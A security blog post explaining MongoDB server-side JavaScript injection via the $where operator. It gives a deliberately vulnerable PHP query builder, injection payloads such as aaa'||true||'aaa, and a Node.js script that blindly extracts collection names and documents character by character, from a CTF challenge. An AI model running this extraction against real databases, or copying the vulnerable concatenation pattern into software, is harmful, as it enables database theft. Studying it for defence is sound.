MongoDB Security Part Three

For the latest posts, I showed MongoDB unauthorized access vulnerability and simple MongoDB injection. Each of them can reflect the Mongo Security. And this time we will talk about mongo security in server side javascript injection(SSJS).

If you ever use php with mongo, you may find a example showed in php-mongo manual, just like the code below:

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$js = "function() {
    return this.name == 'Joe' || this.age == 50;
}";
$cursor = $collection->find(array('$where' => $js));
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

We can find that it allows us to search a collection using javascript code to reduce the resultset. And the mongo will call find() once you put a javascript function in a string to $where, the query result will return the document(s) if the function return true.

And our further progression is to make query dynamic to build a query system, maybe based on user input, something like get or post request. Imagine there is a query system for us to search someone through his name or nickname, we can construct the code like this:

$q = (isset($_GET['q']) ? $_GET['q'] : null);
if ($q) {
    $js = 'function(){if(this.name =='.'\''.$q.'\''.'||this.nick=='.'\''.$q.'\''.')return true;}';
}

Blind nosql injection

Just like the example showed above, we make our query dynamic, put our search in a get request and wrap the request with a single quotes. The thing goes well, just like a tradition sql query. However, not like the traditional sql injection 'or 1=1, the syntax and query in mongo is quite different. Hence, what we to do is to make the query in mongo return true, that means, create a true statement in query.

As the query function is about javascript, it's easy to make a true statement to let the function return true. We can guess the sql statement and input some datas like aaa||true or aaa'||true||'aaa to blind inject. Actually, the later works in our query system. And it will return every single document in our collection, just like the query db.collection.find(), because all of documents meet the query condition this.name='aaa'||true||'aaa'||this.nick=='aaa'||true||'aaa'.

See the true keyword? Yes, we can make more requests like this to get more information through the global variable db, such as db.getCollectionNames() bala bala. Yes, we can use such blind nosql injection to extract the entire contents of the mongo database.

The first attack is to ask how many collections are in the database. Like db.getCollectionNames().length == 1 and others. When we establish how many collections exist, our next step is to get each of collection information.

db.getCollectionNames()[0].length == 1;
db.getCollectionNames()[0].length == 2;
// ...
db.getCollectionNames()[0][0] == 'a';
db.getCollectionNames()[0][0] == 'b';
// ...

And extract all of the documents data in the collection.

// get all of the documents length
function getDocumentsLength(db, i) {
  var todo = 'tojson(db.' + db + '.find().toArray()).replace(/[ %5Ct%5Cr%5Cn]/gm, \'\').length == ' + i;
  var vul = '"%27||' + todo + '||%27';
  request.get(url + vul, function (err, res, body) {
    if (/<p>/.test(body)) {
      console.log(db + ' length: ' + i)
      getDoucments(db, i, 0, 0)
    } else {
      getDocumentsLength(db, ++i)
    }
  })
}

// extract the documents one by one
function getDoucments(db, length, i, num) {
  var todo = 'tojson(db.' + db + '.find().toArray()).replace(/[ %5Ct%5Cr%5Cn]/gm, \'\')[' + i + '].charCodeAt()==' + num;
  var vul = '"%27||' + todo + '||%27';
  request.get(url + vul, function (err, res, body) {
    if (/<p>/.test(body)) {
      if (i < length - 1) {
        var ret = String.fromCharCode(num);
        sys.print(ret);
        doc.push(ret);
        getDoucments(db, length, ++i, 0);
      } else {
        var ret = String.fromCharCode(num);
        sys.print(ret)
        doc.push(ret);
        console.log();
        getCollectionNameLength(++z, 0); // get other collection...
      }
    } else {
      getDoucments(db, length, i, ++num)
    }
  })
}

Actually, I put this vulnerable query system in hctf, the complete source code and payload is available in github.

Attention

This blind nosql injection is only available in versions of MongoDB prior to 2.4, because the global variable db was removed in 2.4.

End

If you have something to correct, welcome to point it out:D

References: